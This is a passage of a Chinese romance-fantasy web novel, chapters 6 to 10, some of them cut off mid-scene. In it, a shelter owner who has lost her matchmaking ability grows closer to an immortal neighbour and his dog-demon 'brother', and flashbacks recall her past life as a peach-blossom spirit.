但话到嘴边,李碧桃突然想到,这个不一样的地方……会不会指的是她那奇怪的红娘体质? 李碧桃转口道:“那,大师,您说我是有哪点不一样啊?” 大师终于不背着双手了,而是抬起右手,捋了捋自己下巴上快有大拇指长的胡子,思索片刻后,道:“你这个不一样的地方究竟是什么,我暂时算不出来……不过这也不怪我啊,我感 6. 第 6 章 《流浪狗与桃花妖[前世今生]》全本免费阅读 李碧桃呆愣愣地望着眼前这个人,在她对上他那低垂的眉眼时,一种致命的熟悉感瞬间从心底蔓延开来。 李碧桃下意识问道:“我们……认识吗?” 话音一落,白絮飞瞬间感觉他的呼吸都停滞了一瞬,喉咙又紧又涩,像是千言万语,欲说还休。 他看着李碧桃单纯疑惑的眼神,双手无意识攥成拳,慢慢收紧。直到指甲抠疼的掌心的皮肉,白絮飞才如梦初醒般回过神来,他淡淡一笑道:“不认识。” 李碧桃依旧看着白絮飞,他周身的气场让她觉得特别的熟悉、温暖,又仿佛隐藏着无限的悲伤。 就如同她半个月前梦到的那个白衣人给她的感觉一样,像是一位相别多年、重又相逢的故人,但让人感受到的,却不是久别重逢的惊喜,而是一种仿佛心脏用力攥紧的悸痛。 可明明,这是他们的第一次见面。可明明,他们不认识。 白絮飞像是终于稳住了心神,温声道:“我是白豆豆的哥哥,住在你们救助基地旁边的馄饨店,虽然这是我们第一次见,但之前你从混沌店门口路过的时候,豆豆告诉过我,他是从你那里领回了金毛。” 原来是邻居。 李碧桃觉得自己应该和邻居问声好的,但是回想起刚才白絮飞见到飞鸟化人那诡异的一幕时,竟然如此淡定,这实在是太不正常了。 “你……认识刚才的那个……妖怪?” “妖怪”这个词,在现实里说出来实在是别扭,但李碧桃也找不到更好的词来形容她刚才看到的了。 白絮飞安抚的目光落在李碧桃身上,解释道:“我以前的专业就是研究这些灵异志怪和一些超自然现象,对着些事情比较了解。刚才的鸟妖虽然看起来是一个老者的模样,但其实还保留着动物的心性,只想弄点钱买鸟粮,不会伤人的。” “所以……这个世界上,真的有妖怪?”李碧桃觉得自己的世界观彻底崩塌了,如果真的有妖怪的存在,那她怎么能保证从前遇到的都是人呢? 甚至,连身边的人是不是真的人,她都不能确定。 “这个世界往往比我们想象的奇妙,也比我们想象的宽容,在天道法则下,这个世界允许各种各样的事物存在,包容各种事件的发生。比如,有飞鸟化人,再比如……有些人会一些异于常人的特异能力。”最后一句话,白絮飞说的有些意味深长。 说完,白絮飞歪头看着李碧桃,一笑问道:“你说对吧?” “嗯,对,”李碧桃点点头,轻声附和道。 李碧桃忽然想起自己奇怪的红娘体质。 也是,既然她一个普普通通的人,都能拥有那样神奇的体质,并因为这体质,自己得以谋生多年。那飞鸟化人,似乎也没那么不可以理解了。 李碧桃觉得自己的接受能力是真的强,居然这么容易就接受了这种完全在认知之外的事。 半晌,李碧桃终于说服了自己接受这全新的、神奇的世界观,当她从心底的震撼中反应过来时,面前的男人依旧在含笑望着她。 一副气定神闲,又耐心十足的样子。就好像无论她准备楞在这里发呆到什么时候,他都会耐心地陪在她身边。 —— 正好两个人顺路,便一同往回走。 到了馄饨店门口,他们停下了脚步。 白絮飞微笑着和她告别,“我回去了,我最近空闲时间很多,也特别喜欢动物,如果方便的话,可以去你们基地做志愿者吗?” 有人来帮忙自然是好事,但现在基地最要紧的不是缺人手,而是缺钱。但不管怎么说,多些人手总是好的。 尤其是……李碧桃抬头看了白絮飞一眼,觉得自己有些奇怪。 和眼前的人明明是第一次见,但她很喜欢他在身边的感觉,熟悉又安心。 李碧桃抿了抿唇,道:“可以的,你们什么时候有时间,直接过来就可以,也可以带上富贵一起过来……富贵就是你弟弟领回去的金毛,它现在还叫富贵吗?” 白絮飞点头道:“还叫这个名字,没有改,要不要进来看看它?” 李碧桃已经半个月没看见富贵了,还真想去看看它,但基地窘迫的现状摆在眼前,她得尽早回去和夏琪商量商量,而且天色也渐渐暗下去了,她也不适合再去人家家里做客了。 “今天太晚了,改天吧,改天你们可以带富贵来基地玩儿,随时欢迎。”李碧桃道。 “好,我们改天一定去。”白絮飞拖着调子道:“那……改天见。” “改天见。”李碧桃点了点头,说完后,转身往隔壁基地小院走。 李碧桃回到基地的时候,夏琪正在给大傻拍照。 大傻是基地里唯一一只阿拉斯加,纯种的,品相算是好看的。 只是大傻从前被遗弃后流浪了很长一段时间,李碧桃捡到大傻的时候,它被车撞伤了,又得了很严重的肠胃炎,所以即使养了许久,身体依旧不是很好,怎么喂都不长肉,看起来缺乏精神。 听到李碧桃进屋的声音,夏琪随手给大傻喂了个零食,随后放下手机朝李碧桃走去。 “回来啦,先吃晚饭吧。”夏琪没问李碧桃今天见客户进展的顺不顺利,因为已经写在她脸上了,看她沮丧的样子,就知道肯定是没成。 李碧桃走到沙发边坐下,顺手摸了摸大傻的脑袋,招呼夏琪也过来坐。 夏琪一坐下,李碧桃便开口道:“小琪……我好像,干不了红娘了。” 虽然基地缺钱夏琪也着急,但她看李碧桃这么沮丧,也不忍心多说,只是安慰道:“没事儿,大不了咱们一起做宠物博主,正好这帮毛孩子不配合我,我一个人都拍不好照片和视频。” 李碧桃知道夏琪是在安慰她,一边觉得暖心,却也不得不把现状说清楚,“小琪,咱们基地的毛孩子不是伤就是病,连找领养都困难,现在你运营的账号赚到钱,其实都是大家出于对这些流浪动物的同情,就算咱们一起做这个,可能也还是不够养它们。” 夏琪叹了口气,“桃子,咱们慢慢来,一开始咱俩什么都没有不也过来了吗,别急,会想到办法的。实在不行还有 7. 第 7 章 《流浪狗与桃花妖[前世今生]》全本免费阅读 另一边,一只和富贵一模一样身上也带着六道疤痕的金毛狗,站在馄饨店外,抬起爪子拍了拍馄饨店的玻璃门。 几秒后,白絮飞从打开门,让这只金毛进屋。 金毛进屋后,等着白絮飞把帘子拉好,伴随着一道黄色光芒,变成了人的模样。 是白豆豆。 白豆豆由狗变成人,掩去身上的光芒,原地蹦了一下,开心地凑到白絮飞面前,扬声道:“恩人……” “叫哥。”白絮飞打断了他要说的话,提醒道。 白豆豆立刻嘴角高高扬起,笑得更加灿烂,清清楚楚地喊了声,“哥!” 白絮飞笑着点点头,问道:“见到你妈妈了?” “嗯嗯!”白豆豆殷勤地点着头,道:“见到啦,但是没让我妈看见我。” 白絮飞思考片刻,道:“我救你不是为了一定要把你留在身边,如果你想的话,我可以想办法让你保持原形的时间久一些,你可以回到你妈妈身边,等到了金毛的正常寿命,你再装死离开你妈妈。” “嘿嘿,我知道恩人……哥,我知道哥你没强迫我留在这儿,我是主动想留在这里的,我妈妈现在一切都好,她还养了新的狗,不过居然是一只哈士奇哈哈哈哈哈哈,笑死我了,那家伙虽然也叫豆豆,但看起来比我二多了!”白豆豆颇为得意道。 白豆豆笑够了,又接着道:“其实我只要看到我妈开心,没因为我的失踪而一直不高兴,我就放心了。接下来,我就可以放心地跟着哥你,还有桃子姐姐了。” 白絮飞对这个傻了吧唧的金毛有些怜惜,问道:“你妈妈养了新的宠物,你不会难受吗?” 白豆豆坦然而真诚道:“不会啊!如果我没死,一直在我妈身边的话,然后她弄个二货回来,我说不定会因为嫌它二咬它两口,但也可以勉强地把我的零食分给它一半。但既然我已经不在了,它能替我陪我妈妈,我超级感激它,所以就允许这个二货代替我啦。” 狗是一种极为忠诚的动物,甚至它们可以忠诚到没有一点私心,完全无私地去爱它们的主人。这一点,白絮飞早就知道了,但此刻,面对将狗的忠诚一面淋漓尽致地展现出来的豆豆,白絮飞还是不免为之动容。 豆豆是他到平州来救的第一只动物。 他是在城中村外一个无人的小巷发现豆豆的,他发现豆豆时,豆豆身中六刀已经死去了,只是刚刚死去不久,身体还有温度,一丝魂魄还留在体内。 他随即布阵施法,将刚刚飘离体外的散魂聚集,与体内的一丝魂魄融合,勉强保住了他。 但豆豆的灵魂已经无法正常地回归到原本的身体里了,无奈,白絮飞只好渡了些来自九重天上的仙气精华,助它成妖,这才保住小命。 不过这小家伙有些笨,成妖后许久,法力法力不会用,就连一个简单的变回原形,都是废了好大的劲儿才勉强学会。 白絮飞看着白豆豆,温声道:“新的豆豆代替不了你,你妈妈会永远记得你的。” 白豆豆眼中浮现一层水汽,但很快被它的笑容遮掩,“哥,你别说,这人形方便多了,能干好多狗干不了的事,我还能说话!这样真挺好的,以后我就这样陪着你和桃子姐姐,偶尔再变个原形配合你忽悠我桃子姐姐!” 白絮飞笑了笑道:“行,你以后就陪着我和你桃子姐姐。” “嗯嗯!”豆豆的情绪去得快,提起李碧桃,突然想起什么,问道:“对了哥,你见到桃子姐姐了吗?她有没有发现你不对劲?是不是现代社会还挺好玩的?” 白絮飞已经习惯了白豆豆的话痨,一一答道:“见到了,她……应该没有发现什么,现代社会……和从前相差太多,还需要适应。” 白豆豆作为一只出生就在现代社会的小狗,十分熟悉现代人类社会,即使这个世界给它带来过致命的伤害,它依旧觉得这里很好。 白豆豆道:“我看哥你适应的挺快啊!说话都正常多了,一点儿都不别扭,行为举止什么的和现代人简直一模一样!” 白絮飞笑笑,没说什么。 这个社会对于他而言,十分的陌生。 这里的一切和从前都不一样,人们的衣着打扮和言谈举止,道路上川流不息的机动车,还有比起从前仙山亭台楼阁还要高许多的大厦,一切的一切,丝毫看不到从前的影子。 光阴流逝,星移斗转,他所熟悉的那个人世间,已经掩埋在历史的尘埃下,但只要故人还在,他愿意适应这个崭新的人间。 —— 次日上午,李碧桃起来喂完了基地的毛孩子们,又清点了库房里的余粮。 剩下的狗粮猫粮,还有一些零食罐头,大概还能供应一个星期左右。 算上夏琪那个自媒体账号的盈利,基地上下最多坚持不过两个月。 李碧桃叹了口气,拿出了口袋里那个红布包裹着的符篆。 符篆上面画着写奇奇怪怪的字符,笔画乱七八糟地揉成一团,她看了半天,也没认出来都是些什么东西。 这些奇怪的字符,恐怕只有那个鸟妖自己,或者白絮飞能辨认出来了。 比起鸟妖,李碧桃更愿意去求助邻居。 李碧桃换了身衣服,拿着符篆下了楼,刚一打开门,便看到小院铁栅门外的白絮飞,手上牵着乐的美滋滋摇尾巴的富贵。 李碧桃停下脚步,一时间有些愣住了。 白絮飞朝她摆摆手道:“早安,我来看看有没有能帮忙的,顺便带富贵来玩儿,没打扰吧?” “当然没有,这里随时欢迎你们来玩儿。”李碧桃小跑过去开门,看到只有白絮飞和富贵,问道:“白豆豆没有来吗?” 还未等白絮飞答话,他腿边的金毛立刻原地蹦起来往李碧桃身上扑,摇着大尾巴求摸求抱。 李碧桃看着已经恢复得差不多了的富贵,往前凑了一步接住它飞扑起来的两条前腿,顺势摸了摸它的脑袋。 金毛的眼睛黑得发亮,伸着大舌头看起来像是在笑一样,和从前一样可爱。只是,李碧桃疑惑地皱了皱眉,不知道为什么,总觉得眼前的富贵和从前有些不一样。但具体是什么地方不一样,她又感觉不出来。 白絮飞看见她微微皱起的眉毛,开口道:“豆豆还没睡醒,就没过来。” 听到这话,原本扑在李碧桃腿上的富贵突然转身,抬爪拍了怕白絮飞。大概意思就是:别把我说的这么懒! 白絮飞没动,装作没感觉到的样子。 李碧桃转身带着他们往基地里面走,简单地向白絮飞介绍了基地猫狗们的情况。 白絮飞似乎真的很喜欢这些猫猫狗狗,对于猫狗喂养的一些事项了如指掌。两个人谈着关于毛孩子们的话题,一起打扫了它们的屋子,一上午很快就过去了。 临近中午,夏琪匆匆赶来。 “桃子!我上午去看了下房子,还真有两个不错的地方……”夏琪一边说着一边往屋里走,看到从楼上下来的白絮飞,突然顿住了。 谁能告诉她,怎么她就一个上午不在,基地就被陌生异性生物入侵了呢? 还有就是……这个异性生物,还……怪好看的。 夏琪在心里默念了两遍“我老公最帅”,然后走上前问道:“您是?” 这时,李碧桃听到动静,突然从白絮飞的身后冒出来,介绍道:“他是我们的邻居,白豆豆的哥哥,来咱们基地做志愿者。” 闻言,夏琪客气道:“白 8. 第 8 章 《流浪狗与桃花妖[前世今生]》全本免费阅读 时间就像是被按下了暂停键,画面定格在这僵持的一瞬。 良久,白絮飞缓缓抬起了手,紧紧攥成拳头,克制着自己将手收了回来。 视线落在另一只手里的符篆上面,压抑着心底的冲动,强迫自己把注意力放到面前这小小的符篆上。 白絮飞观察着符篆上面奇异的字符,托着符篆的指尖悄悄往符篆中送了些法力试探,点点白光顺着指尖流入符篆之中,只是除了白絮飞,别人看不见。 这符篆看起来奇异,但画符的人明显生疏,走笔不够稳。虽然并非什么良方,但通过送入的法力来看,这符篆带在身边也并无害处。 白絮飞思忖着,碧桃所说的体质,应当是她灵魂修复时造成的法力外溢,但她如今一无真身,二无修为,外溢的法力都是以损耗她的魂魄为代价。 在此之前,他变作豆豆原形的模样,装作受伤金毛富贵得以接近,就是为了封印住她外溢的法力,以养护她的魂魄,所以无论如何,这封印是不能给她解开的。 碧桃那种赐予他人桃花运的体质,正是她的本体与生俱来的特质,就连他,也没有相似的术法可以代替一二。 如若实言告知她恢复无望,不知她将如何焦急。思来想去,白絮飞看着眼前的符篆,既然无害不妨让她带着,总算是有个希望,至于基地缺钱的事,他来想办法解决就好。 半晌,白絮飞道:“抱歉,我不知道你之前的特异能力从何而来,也不知道该如何恢复,只是这符篆我仔细看了,带在身边于你无害……就如鸟妖所说,这符篆或许真的可以养回你从前的特异能力。” 依旧没有弄清楚特殊体质的来源和恢复之法,李碧桃有些沮丧,但好在得到了证实,这五十块钱总算是没有白花,既然符篆有可能发挥作用的,她天天带着就是了,万一什么时候一下子就恢复了呢。 虽然没立刻解决她的顾虑,但李碧桃还是感激道:“我知道了,谢谢你,那我先走啦,下次见。” 白絮飞望着她远去的背影,目送她回基地,走进屋子。 他腿边的金毛急不可耐地拉着他往馄饨店走,一进屋,还没等白絮飞拉好帘子,便变回了人形。 “哥,你打算怎么办?桃子姐姐好像很忧心的样子。”白豆豆急切问道。 白絮飞拉好帘子,转身道:“基地是完全慈善性质的,没有盈利的能力,能支撑到现在,一来是靠社会慈善捐助,二就是靠红雨和朋友的收入。红雨从前的体质能为她带来可观的收入,如今我封了她法力的外溢,自然这体质也随之消失,基地也会因为缺钱难以维系。” “等等!红雨是谁?我们不是在说桃子姐姐的事吗?”白豆豆一脸纳闷儿。 白絮飞愣住了,这个名字在他心里是如此的熟悉,熟悉到脱口而出也没有意识到什么不对劲。他甚至忘了,这里,已经没有人记得“红雨”这个名字了。 亘古的时间长河似是逆转,那是三百年前的不归桃林。 不归桃林位于祝灵山脚下,绵延近百里,受祝灵山山脉灵气滋养,不归桃林的桃树常开不败。 桃林深处,木屋内。 伤重的桃花小妖昏迷许久,悠悠转醒。她醒来时,第一眼便看到了身边这个白衣翩翩、仙风道骨的年轻男子。 她问道:“小仙人,感谢你救了我,我叫红雨,你叫什么?” “‘红雨’,是你的名字?”小仙人诧异道。 红雨觉得自己身上的伤已经好的差不多了,不想再躺下去了,蹭地窜到了地上,凑到他面前歪头一笑道:“对呀,小仙人,你还没告诉我你叫什么?” 突然凑近的面孔美到了极致,眼角的一颗红色小痣更显妖冶风情,她昏迷数日,今日骤然苏醒,他才知,原来天底下,竟有姑娘的眉眼,这般好看。 白袍之下,道心已乱。 小仙人别过头去,耳根染上如同屋外桃花的粉红。他低声道:“我叫玄都。” 红雨灿然一笑,旋身坐在榻上,看着躲避她目光的小仙人,“玄都……好好听的名字!” 玄都有些诧异,问道:“你……不知道玄都的意思吗?” 红雨不解,“不是你的名字吗?还有别的意思?是何意思?” 玄都又问:“你可知,‘红雨’为何意?” “知道!神女告诉我,红雨,是桃花的别称。难道,玄都也是桃花的别称?”红雨妖冶含情的眉眼亮莹莹的,看着玄都问道。 玄都点了点头,耳廓胜似桃花粉红,在白色衣领衬托下,格外惹眼,“是,也是桃花的别称。” 红雨被他耳边的红色吸引,凑到玄都耳边细看,这颜色,和她真身一样好看。 她笑盈盈道:“啊,那我们真是有缘。” 有缘吗?白絮飞想,自然是有的。他们不止有缘,还应有漫长一生,等他们共度。 白豆豆见白絮飞愣住不再说话,抬手在他面前挥了挥,又问了一遍:“哥,你还没说红雨是谁呢?” 白絮飞抓住在他面前挥动的手,扔一边儿去,回过神来,低声道:“红雨,是碧桃曾经的名字。” 那声音很低,就像是一个压抑多年的人,最终无可忍耐一般,隐秘地说出了自己的秘密。 白豆豆喃喃道:“啊……这样啊……桃子姐姐以前的名字也好好听啊。” 白豆豆看见白絮飞一反常态的样子,突然特别好奇,“哥,你给我讲讲你和桃子姐姐以前的事情呗,我可想知道了!” 白絮飞拨开一脸好奇的白豆豆,不再理会他,提步往楼上走去。 白豆豆见他要走,想起正事还没问,立刻追上去道:“哥!哥!我不问你们之前的事了,我问问现下的事!正事,很重要的。” 白絮飞刚要关门的手一顿,放他进来,“说吧,什么重要的事?” “我想问,就是桃子姐姐基地的事,现在你封印了桃子姐姐的法力,桃子姐姐就赚不了钱了,那怎么办啊?基地怎么办?” 白絮飞沉思片刻道:“基地的事情我会想办法解决。” 白豆豆恍然大悟道:“啊,对呀,哥,你有钱呀!” 白絮飞点点头,问道:“还有事儿?” “没有啦,那哥,我走啦!” 白絮飞走到书桌前坐下,提醒道:“去吧,晚上别变成原形到处跑。” 白豆豆当没听见,转身跑了。 白豆豆离开后,屋里终于重新归于宁静。 白絮飞从抽屉中拿出一张符纸,提笔走墨,一张符篆很快绘就。 他将符篆捏起,向虚空中一掷,凭空出现一个椭圆形的发光通道,符篆顺着通道,不知传向了何处。 —— 次日七点,闹钟准时响起。 李碧桃从被子里伸出胳膊,摸到了床头的手机,迷迷糊糊地关了闹钟。 卧室内,重又陷入一片静谧中。 半分钟后,李碧桃腾地从床上坐起来,毫不犹豫地下床洗漱。 洗手间里,李碧桃一手拿着牙刷,对着镜子机械地刷牙。她分散的目光,渐渐被脖颈间那抹显眼的红色吸引,双眼渐渐聚焦。 李碧桃抬起空闲的左手,摸了摸脖子上戴着的红布符篆。 也不知道这符篆什么时候能生效。 在此之前,基地的毛孩子们又该怎么办呢? 他们现在这个基地所用的小院子,虽然是位于城中村,又是自建房,但毕竟还是比较靠近城区的位置,租金相对来说要高一些。 虽然原本她们就比较拮据,但有李碧桃干红娘的收入,负担这个二层自建房还是没问题的,但现在经济陷入困难,李碧桃这边的收入断了,想要节约开支,总不能从毛孩子们的口粮和医疗里省,只好从基地租金上省一省。 昨天夏琪已经提前去远郊看过了,找到了两个不错的房源,李碧桃准备今天再过去看看,没什么问题的话,再过一个月,这个房子到了租期,她们就带着毛孩子们搬到远郊。 她刚收拾好自己,楼下便传来敲门声。 这个时间,难不成是夏琪忘记带钥匙了? 李碧桃下楼打开门,只见是白絮飞和白豆豆兄弟两个站在门外。 白豆豆一见门打开,扬起来个大笑脸,笑嘻嘻道:“桃子姐姐,早上好!我们方便进来吗?” 白豆豆的笑容真挚而富有感染力,李碧桃也笑了笑道:“进来吧,你们怎么这么早过来了?富贵呢?” 白豆豆十分自来熟地钻到一群狗狗中间,挨个扒拉,非让忙着吃早饭的毛孩子们陪他玩。 白絮飞带上门,看向李碧桃,说道:“今天有些事想和你商量,没带富贵,富贵送去幼儿园了。” 宠物幼儿园,李碧桃是听说过的,但却没送基地里的毛孩子去过。 原因也很简单,没钱。 看来把富贵交给他们的选择是对的,人家条件好,两个人照顾它一个,自然什么都精细,富贵也能得到更好的照顾,怎么也比在这穷基地里过得好。 这样,等她们搬走了,和富贵离得远了,她也能完全放下心来。 李碧桃问道:“那你们找我商量什么事啊?领养别的狗狗吗?” 白絮飞微笑道:“不领养了,今天来是想谈一下,加入你们流浪动物救助基地的事。” “啊?”李碧桃有些吃惊,基地建立到现在三年了,一直以来都是她和夏琪两个人撑着,从未想过要找其他人合伙。 一来是她和夏琪两个人管理这个基地,能够保证绝对的自由,对毛孩子们的安排只要两个人商量就好,不用顾虑太多。 二来也是因为,到目前为止,确实从来没有人表示过想要加入的想法。 毕竟他们是纯慈善性质的,基地里的毛孩子们也只能领养,不接受买卖,很难会吸引到人来加入她们。 李碧桃迟疑片刻,道:“我想知道,你们具体想以什么样的方式加入?还有,为什么会想要加入我们基地呢?” 白絮飞回答道:“我们会为基地提供必要的资金,平时也会来基地帮忙照顾这些流浪动物们,但是放心,我们绝对不会插手关于对基地里动物们的管理问题。我们想加入这个基地也没什么特别的原因,我和白豆豆平时都比较喜欢猫狗,纯粹是出于喜欢,没有别的目的。” 怎么会有这么好的事?李碧桃自己都有些不敢相信。 基地正缺钱的时候,来人告诉她说要给基地提供资金,同时还不插手管理,平时还帮忙照顾基地里的猫猫狗狗。 这真是 9. 第 9 章 《流浪狗与桃花妖[前世今生]》全本免费阅读 狗贩子开着面包车离开后,李碧桃将扫把随手立在墙边,连忙跑到吓得浑身发抖的大傻身旁,一边摸头安抚,一边上下检查着它身上有没有什么伤。 李碧桃将大傻带到屋里,将它上上下下左左右右地看了一遍又一遍,生怕看漏了哪块儿,那黑心的狗贩子下手没个轻重,万一伤到哪儿她没发现可就糟了。 幸好,大傻只是受了些惊吓,尾巴都耷拉下来了,但身上没有受伤。 白絮飞将小院的铁栅门重新关好,俯身捡起刚刚被李碧桃用来打人,又被丢下的扫把。 那扫把是塑料材质,刚才李碧桃拿它拍人时用了十成的力气,那狗贩子的脑袋不知道怎么样,但扫把已经裂开了。 白絮飞看着扫把上那道长长的裂痕,想起她刚才出手时的果断模样,不禁失笑。 百年时光流转,再次见到她是在这个文明的现代社会,这里不像百年前,有光明正大打家劫舍的强盗,有光天化日屠杀平民的流匪。 所以,生活在这个社会的李碧桃,也穿上了一层现代文明的外衣,她与曾经那个出手果决的红雨,似乎判若两人。 但在现代文明之下,许多人的恶并没有就此终结,而是被他们掩藏、压抑,以一种隐晦的方式呈现出来。 百年前那些忍心屠杀手无寸铁百姓的流匪盗贼,如今不过是改头换面,将欺凌的对象,变成了比他们弱小的妇女儿童,老弱病残,乃至动物。他们以另一种方式,肆意展现着他们的恶,恃强凌弱几个字仿佛刻在他们的骨血中一样深刻。 罪恶没有终结,但同样的,善意也永不消亡。 即使是只有现代记忆的李碧桃,依旧会为了维护弱小的流浪动物,果断地拿起扫把拍人。 白絮飞有些恍然,在那一刻,百年前红雨的身影,似乎和如今的李碧桃重合。她们穿着不同时代的服饰,有着不同时代的记忆,但却有着相同的面庞和同样良善的心性。 几百年的时光已过,沧海桑田,世界早就变了模样,但此刻,白絮飞可以肯定,她,依旧是她。 “白先生?” 夏琪疑惑的声音将白絮飞的思绪拉了回来,白絮飞从裂开的扫把上抬眼,望向门口的夏琪,点了点头以示问好。 夏琪见白絮飞一脸专注地盯着扫把,也好奇看去。 这一看,夏琪才发现,上周刚买回来的扫把居然又坏了。 根据以往的经验,夏琪想都没想,就知道这一定是基地里某个毛孩子的杰作。夏琪脱口而出道:“我去!这是哪个混球干的?又把扫把弄坏了!” 刚刚安抚好大傻,准备回来拿扫把的李碧桃:“……” 李碧桃楞在门口,迟疑片刻,试探道:“应该是……我?” 夏琪:“……” 白絮飞和白豆豆知道李碧桃和夏琪有事商量,主动找了个借口先回去了。 基地一楼客厅里,李碧桃简单地和夏琪说了下狗贩子的事,还有白絮飞和白豆豆想要加入基地的事。 夏琪默默听完,已经把扫把坏了的事抛到脑后了,庆幸道:“还好今天馄饨店那兄弟俩在,不然你一个人对上那个狗贩子,多危险啊!其实这么想,有他们的加入,除了资金问题能得到解决,安全也能一并得到保障啊。” 李碧桃点点头,犹豫了一瞬,但还是说道:“其实我觉得……我可以打过那个狗贩子。” 夏琪沉默片刻,正色道:“你说那个狗贩子多高?看起来多少斤?” 李碧桃回想道:“不到一米八,比白絮飞要矮一头,估计得两百多斤吧,比两个白絮飞加一起还粗。” 夏琪:“我觉得,他一屁股就能把你坐扁,所以在安全问题上,我们基地还是需要白絮飞和白豆豆兄弟俩的。” 李碧桃对于自己战斗力的这个问题非常执着,“我真的觉得,我可以打过那个狗贩子。” 夏琪:“……” 夏琪不和她犟了,转而道:“桃子,我们还是谈谈资金问题吧,我觉得在钱的问题上,我们还是需要白絮飞和白豆豆加入的。” 对于这个问题,李碧桃十分赞同。 基地缺钱是真的,她现在赚不来钱也是真的,即使安保上李碧桃觉得自己可以,但资金上确实需要外援。 于是两人一拍即合,一致同意白絮飞和白豆豆的加入。 白絮飞和白豆豆正式加入基地后,除了出钱出力,还把之前馄饨店的平房仓库给基地的毛孩子们空了出来当库房。 一时间,基地从场地到资金,全都宽裕了不少。 虽然有了白絮飞投入的资金,但李碧桃还是想自己赶快恢复体质,继续干她的红娘,毕竟是自己的基地,她也不能一分钱不出光等着别人出钱啊。 这日,夏琪和白豆豆带基地的几只毛孩子去打疫苗,基地里只剩下李碧桃和白絮飞两个人。 李碧桃抱着小黑,窝在一楼客厅早就被毛孩子们弄烂的沙发上,拿着账本和手机计算最近几天的开支。 看似每笔数额都不大的花销,加在一起,就成了一个不小的数字。 李碧桃看着手机屏幕上最后加出来的数字,长叹一口气,肩膀无力地塌了下来,手上无意识地挠着小黑的小脑袋发呆。 发着发着,李碧桃顺着小黑的脑袋,抬手摸到自己脖子上的红布符篆。这小符篆她已经带了半个月了,除了洗澡的时候几乎从来没有拿下来过,但也没见有什么效果。 虽然这本来就是死马当活马医的办法,但李碧桃还是不免着急。 李碧桃转头看向一旁不厌其烦地,给每个毛孩子梳毛的白絮飞,她想再问一问符篆的事。 李碧桃喊道:“白絮飞。” “我在。”白絮飞立刻温声答道。 …… “玄都。” “我在。” …… 李碧桃一瞬间愣住了,脑海里突然回响起一段熟悉又陌生的对话。这几个字就像是入侵的外星生物一样,蛮横地进入她的脑袋里,不受控制的播放。就仿佛,这样的对话,她曾听过千千万万遍。 几乎是毫无意识的,李碧桃脱口喃喃道:“玄都……” “邦……” 白絮飞手中的梳子骤然掉落,梳子砸在地上,发出清脆的一声响。 白絮飞小心翼翼道:“你说……什么?” 李碧桃猛地回过神来,抬手揉了揉太阳穴,她怀疑自己因为体质消失干不了红娘这事儿已经魔怔了,这俨然成了她的心病,甚至已经开始胡言乱语了。 再 10. 第 10 章 《流浪狗与桃花妖[前世今生]》全本免费阅读 或许是因为白絮飞和白豆豆两个人也喜欢小动物,性格又比较好的缘故,自从他们加入后,李碧桃觉得自己好像连适应的过程都没有,直接十分坦然地接受了基地里多出来的两个人。 这两个月以来,基地一切都好,不缺钱也不缺人。甚至在多了两个人之后,基地明显热闹起来了。 但李碧桃就好奇一件事,白豆豆看起来年纪不大,估摸着还在上学,暂且不提。可白絮飞呢? 白絮飞每天都会早早来基地,很晚才回去,偶尔李碧桃出去救助流浪动物,白絮飞也会跟着一起,两个人几乎是形影不离。 所以李碧桃就奇了怪了,这人每天待在基地,每天都在她眼皮子底下,他的钱,究竟是哪、来、的! 这对她这个目前没有收入来源的人来说,十分重要! 李碧桃抱着刚从平州市北边的一个居民区外带回来的刚出生不久的小土狗,坐在白絮飞的副驾驶上,十分好奇地看向他。 有钱人的世界,就是这样的吗? 每天空闲,还有房有车? 还能为基地提供大笔资金? 白絮飞察觉到李碧桃的目光,趁红灯的间隙,偏头看她,笑着问道:“怎么了?” 乍然对上视线,李碧桃心虚地转头,“没怎么啊。” 就是在想你的钱是哪儿来的。 没别的意思……有点儿羡慕…… 白絮飞不知道李碧桃的心思,看她别扭的样子,忽然想到之前看过的言情小说——他刚刚来到这个现代社会时,对一切都陌生,而书籍是认识世界非常得力的一个工具,当时白絮飞还不懂逛商场逛书店,就让白豆豆买一些现代人常看的书回来,其中有不少本言情小说。 当时的白絮飞觉得这些小说和百年前的话本子很像,为了充分了解和适应现代社会,硬是全都看完了。 虽然有些情节和描写过于大胆,但不可否认,的确帮他认识到了很多闻所未闻的事物。 白絮飞看着李碧桃若无其事地看着车窗外,还十分不自在地咳了咳,想到书里写的……这是,害羞了? 是因为……对视吗? 从前只有他在她面前害羞的份儿,这下骤然颠倒,还真有些不适应。 白絮飞看着她“害羞”的样子,忍不住勾起唇角,抬手在她脑袋上轻轻拍了拍,轻声道:“胆子小了。” 恰好红灯变绿,车子重新启动时发动机发出声响,一门心思研究白絮飞的钱从何处来的李碧桃注意力也没太集中,于是这话落到她耳朵里,就成了……胆子小点! 李碧桃猛地转头看他,他开着车,视线和注意力都放到了前方路况上,李碧桃慢慢抬起胳膊摸了摸脑袋上被白絮飞拍过的位置,撇了撇嘴,忍着没说出来。 你怎么知道我在想你的钱? 还有,我就想想你的钱哪儿来的,最多有点儿羡慕,怎么就胆子大了! 她一不偷二不抢,想想还不行吗? 车缓缓驶入城中村,开进馄饨店后面的车库里,李碧桃抱着新捡回来的小土狗,等着白絮飞把车锁好,两人一起往基地小院走。 刚从馄饨店后面拐出来,就听到小院门口夏琪的声音。 “小妹妹,我们这里只接收流浪狗哦,有主人的狗狗我们不方便接收的。”夏琪声音温柔细腻,悉心劝说着:“小妹妹,带狗狗回家吧,不然你家长该着急了。” 李碧桃走上前去,只见基地门口,一个看起来七八岁的小女孩,抱着一只比熊犬,默默地站在那儿。 说来奇怪,小女孩和她怀里的比熊犬,看起来都脏兮兮的,就像是无人照顾一样。可小女孩身上的裙子,材质分明很不错,从裁剪和版型上看,也知道肯定不便宜。 更别说她怀里抱着的比熊犬,虽然看起来脏兮兮的,还有些瘦弱和病态,但依旧能隐约窥见它原本的品相,至少也得千元以上了。 稍微细心点儿都能看出来,这小姑娘应该家室不错的。 李碧桃将怀里新捡来的小土狗随手递给身侧的白絮飞,白絮飞也很默契地接过。 她蹲了下来,和小姑娘平视,手指点了点小姑娘怀里的比熊犬,问道:“小妹妹,你是想把它送给我们基地吗?” 小姑娘黑葡萄粒似的大眼睛一眨不眨,只是沉默着看着李碧桃,半晌,缓缓点了点头。 李碧桃接着问道:“那姐姐问你,这个狗狗是你爸爸妈妈送给你的吗?” 小姑娘没点头,只是很小声地说:“妈妈送给我的。” 李碧桃松了口气。 其实她想问小姑娘有没有爸爸妈妈,是不是有监护人的,但又觉得这样问一个小孩子太残酷了,就换了个委婉的问法。 既然狗狗是妈妈送的,小姑娘也必然是有家长照顾的。 